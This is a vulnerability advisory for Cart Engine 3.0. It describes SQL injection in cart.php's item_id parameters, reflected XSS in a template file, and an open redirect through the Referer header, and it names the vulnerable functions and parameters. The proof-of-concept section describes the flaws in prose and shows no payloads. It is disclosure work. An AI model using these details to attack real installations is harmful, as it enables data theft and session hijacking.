Quantum Leap Advisory: http://www.quantumleap.it/cart-engine-3-0-multiple-vulnerabilities-sql-injection-reflected-xss-open-redirect/
Affected Product: Cart Engine
Version: 3.0
=== Executive Summary ===
SQL Injection: Using a specially crafted HTTP request, it is possible to exploit
a lack in the validation[1] of the “item_id[0]” and “item_id[]” input parameters
of cart.php page. Successful exploitation of the vulnerabilities results in read
sensitive data from the database and, in some cases, execute administration
operation on the database or issue commands to the operating system.
Reflected XSS: Using a specially crafted HTTP request, it is possible to exploit
a lack in the neutralization[2] of multiple pages output which includes the user
submitted content. Successful exploitation of the vulnerabilities, results in
the execution of arbitrary HTML and script code in the user’s browser in the context of
the victim user's session trough a “Reflected XSS”.
Open Redirect: Using a specially crafted HTTP request, it is possible to
redirect[3] the normal browsing of users to a malicious site by modifying
untrusted URL input in Referer HTTP header parameter in index.php, cart.php,
msg.php and page.php pages. Successful exploitation of the vulnerabilities
results in phishing scam, user credential theft, malware dissemination.
=== Proof of Concept ===
= SQL Injection (based on MySQL) =
A SQL Injection vulnerability has been detected on cart.php page in Cart Engine
CMS. The function “sql_query” in file “cart.php” doesn’t sanitize the “$item_id”
parameter, so error based and boolean-based blind or time-based blind SQL
Injection attacks can be executed.

## EOF HTTP REQUEST ##
= Reflected XSS =
A Reflected XSS vulnerability has been detected on multiple pages in Cart Engine
CMS. In the file "skins/default/outline.tpl", the parameter "path" in section
"drop down TOP menu (with path)" and the parameter "$print_this_page" in section
"footer_content_block" are not sanitized, so an XSS attack can be executed on
multiple pages.

An Open Redirect vulnerability has been detected on multiple pages in Cart
Engine CMS. The function "redir" in file "includes/function.php" doesn't check
the "$_SERVER['HTTP_REFERER']" parameter, so an Open Redirect attack can be
executed.
